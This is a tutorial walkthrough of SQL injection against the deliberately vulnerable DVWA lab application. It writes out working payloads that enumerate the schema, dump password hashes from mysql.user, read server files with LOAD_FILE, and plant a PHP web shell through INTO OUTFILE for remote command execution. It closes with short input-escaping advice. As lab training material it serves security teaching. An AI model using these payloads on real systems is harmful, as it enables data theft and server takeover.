OWASP defines SQL Injection as:
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.Preparation:
To follow this guide you will need a copy of Samurai. If you do not have one, or do not know how to set it up, please see this post.
1. Open Firefox by clicking the Firefox Icon or going to Applications > Internet > Firefox Web Browser and browse to http://dvwa/.
2. Go to the DVWA Security page and change the Script Security level to low.
Now we're ready to try out some SQL Injection.
The Attack:
1. Go to the SQL Injection page of DVWA and click the View Source button to take a look at the vulnerable source code.
The important part is the line $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; and because the code doesn't filter our input at all it is easy to tell it is vulnerable to SQL Injection.
2. Input 1 for the user id and hit submit to see the result.
When you hit submit the code SELECT first_name, last_name FROM users WHERE user_id = '1'; is sent to the database, and the database returns with the first_name of admin and last_name of admin and then displays this information to you.
2. Lets check and see how the form handles quotes by entering O'brien and hitting submit.
Now this return's an error, but it's still interesting because it looks like the form accepted the O' and didn't know what to do with the brien part. This means we can use the single quote in the form without problems.
3. Lets try a statement that is always true by entering O' or 1=1;-- and hitting submit.
Again we get an error, it appears not to like the -- part of our statement, the hope for using this is to comment out the rest of the query. The extra single quote at the end of the error shows us that it is expecting the single quote from user_id = ' to be closed, so lets keep trying.
4. Lets try another statement that is always true, but with some quotes in there to fix the error in the last step. Enter O' or ''=' and hit submit.
The same results can be found with 1' or '1'='1';# and hitting submit or anything else that looks similar and works out as always true.
We just got a list of all of the names of users in the database. We submitted the query SELECT first_name, last_name FROM users WHERE user_id = '1' or '1=1';#'; which says "Give me all of the first and last names of people who's user_id is equal to 1 or 1 is equal to 1 (which is always true and therefore it returns every entry). Also, the addition of the # symbol comments out the rest of the line (the goal of the -- that didn't work) so we can use that to make some more interesting queries and get some additional information.
5. Let's try and find out how many columns are in the table with some more queries. To try one column we can enter 1' ORDER BY 1;# and see what happens.
No errors return, this means there is at least 1 column in the table.
To try two columns we can enter 1' ORDER BY 2;# and see what happens.
Again no errors return, this means there is at least 2 columns in the table.
To try three columns we can enter 1' ORDER BY 3;# and see what happens.
Hurray and error! This means there is not 3 columns in the table, but only two.
6. Now let's try and find out the field names in the table. Lets start with 1' or firstname IS NULL;# and see what happens.
We get an error that tells us there is no field named firstname. Lets try again with 1' or first_name IS NULL;# and see what happens.
No errors, this tells us there is a field named first_name. Feel free to try and guess some other field names, I tried a few below.
Now remember, errors mean the field name doesn't exit and no error means the field name does exist. From this guess work I can assume the fields first_name, user_id, last_name, avatar, password, and user all exist in the database somewhere.
7. Let's try to find the table name, input O' OR users.user_id IS NOT NULL;# and submit it. This will return all of the results in the table users where the field user_id is not empty.
This is great! (and luck) we now know that the table name is users.
8. Let's try and find the database name, first we will figure out how long the database name is by using the _ character which represents 1 character. Input O' OR database() LIKE '__';# into the field and see what happens.
This returns no results, because the database name is not 2 characters long, let's try 3 with O' OR database() LIKE '___';# and pressing submit.
Still no results, so let's try 4 characters by inputting O' OR database() LIKE '____';# and submitting it.
Alright, we now know the database name is 4 characters long, let's try and figure out what they are. To save space I'm just going to do a few of the letters that are in the database name. Let's start by inputting O' OR database() LIKE '%W%';# and hitting submit.
Alright, so the query checks to see if the letter W is anywhere in the database name and we get the results returned because it is. Let's find the other letters, try O' OR database() LIKE '%V%';# and hit submit.
Alright, so it contains a V, two letters left lets do O' OR database() LIKE '%D%';# and hit submit.
And for the final letter we can do O' OR database() LIKE '%A%';# and hit submit.
Alright, so we have the letters W, V, D, and A. We unscramble them and we get DVWA of course, but to confirm we can do O' OR database() LIKE 'DVWA';# and get our results.
9. Lets find out what other tables are in this database, and thanks to the SQL-92 Standardization (ISO 9075) this is actually quite easy. SQL-92 Standardization requires the information_schema table which means we can input O' UNION SELECT table_schema, table_name FROM information_schema.tables;# and hit submit to find all of the tables in the database.
Well, that's a rather long list but still very useful. Let's gather some more information.
10. Lets get the current SQL database version by issuing the command O' UNION ALL SELECT 1, @@version;# and hitting submit.
11. How about the current database user? Let's do O' UNION ALL SELECT system_user(), user();# and hit submit.
12. Lets try and get some password hashes to be cracked later, but to do this we will need to return information not normally asked for so we will have to be a little creative with our SQL code. Enter O' UNION ALL SELECT user, password FROM mysql.user;#' and see what you get.
So this query asks for ALL username and passwords from the mysql.user table.
13. Lets try and open some files on the host machine and see what happens. We can do ' UNION ALL SELECT Load_file('/srv/dvwa-nologin/.htaccess'), '1 and hit submit to read the .htaccess file. We could do this for any file the root user has access to, because that's the current database user.
We can also load up php files as well, lets try this ' UNION ALL SELECT Load_file('/srv/dvwa-nologin/config/config.inc.php'), '1 and hit submit.
Notice that nothing appears to have loaded from the config.inc.php file, however if you look at the page source code by right-clicking and selecting view source or going to View > Page Source you should see the php file loaded.
14. Lets try to write a file to the server and see what happens. Lets do ' UNION SELECT 'Awesome', 'text' INTO OUTFILE 'awesometext.txt and see what it does.
We get a bunch of errors, but the file has written. We can confirm this by opening a terminal and typing in sudo cat /var/lib/mysql/dvwa/awesometext.txt and viewing the results.
Lets do it again but this time tell it where we want it with ' UNION SELECT 'Awesome', 'text' INTO OUTFILE '/srv/dvwa-nologin/awesometext.txt and hit submit.
We get the same errors, but this time let's open a new tab in firefox and go to http://dvwa/awesome.txt and see what we have.
Well, now we know we could write, read, or change files anywhere on the host machine. Even change the index.php to do some defacing or whatever we wanted. Let's see if we can execute commands, for example lets create a new php page called shell.php that has a linux shell that we can use to send commands from. We can do this by typing ' UNION SELECT '', '<?php system($_GET["bash"]); ?>' INTO OUTFILE '/srv/dvwa-nologin/shell.php';# and hitting submit.
Again we get a bunch of errors, but point your browser to http://dvwa/shell.php?bash=ls and see what you get.
Look at that! We made our own remote shell, just change the =ls part at the end of the url to whatever bash command you want, a ton of bad stuff could be done with such access. So, secure your SQL forms. Watch out for characters like ' or " or _ or % or \ or \r or \n or \x00 or \xla and pass the input data through stripslashes() and mysql_real_escape_string() functions.